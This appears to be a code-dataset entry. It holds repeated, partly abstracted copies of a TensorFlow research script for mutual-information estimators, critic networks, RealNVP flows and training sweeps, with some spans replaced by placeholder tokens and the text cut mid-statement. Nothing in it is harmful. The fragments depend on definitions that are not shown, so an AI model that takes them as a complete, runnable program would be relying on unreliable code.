name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\ndef real_nvp_default_template(hidden_layers, shift_only=False, activation=\n tf.nn.relu, name=None, *args, **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(*args, inputs=x, units=units,\n activation=activation, **kwargs)\n x = tf1.layers.dense(*args, inputs=x, units=(1 if shift_only else\n 2) * output_units, activation=None, **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n return reshape_output(shift), 1e-07 + tf.nn.softplus(reshape_output\n (log_scale))\n return tf1.make_template('real_nvp_default_template', _fn)\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\n<function token>\n<function token>\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\[email protected]\ndef infonce_lower_bound(scores):\n \"\"\"InfoNCE lower bound from van den Oord et al. (2018).\"\"\"\n nll = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores) - tf.\n reduce_logsumexp(input_tensor=scores, axis=1))\n mi = tf.math.log(tf.cast(scores.shape[0], tf.float32)) + nll\n return mi\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\ndef real_nvp_default_template(hidden_layers, shift_only=False, activation=\n tf.nn.relu, name=None, *args, **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(*args, inputs=x, units=units,\n activation=activation, **kwargs)\n x = tf1.layers.dense(*args, inputs=x, units=(1 if shift_only else\n 2) * output_units, activation=None, **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n return reshape_output(shift), 1e-07 + tf.nn.softplus(reshape_output\n (log_scale))\n return tf1.make_template('real_nvp_default_template', _fn)\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\n<function token>\n<function token>\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = 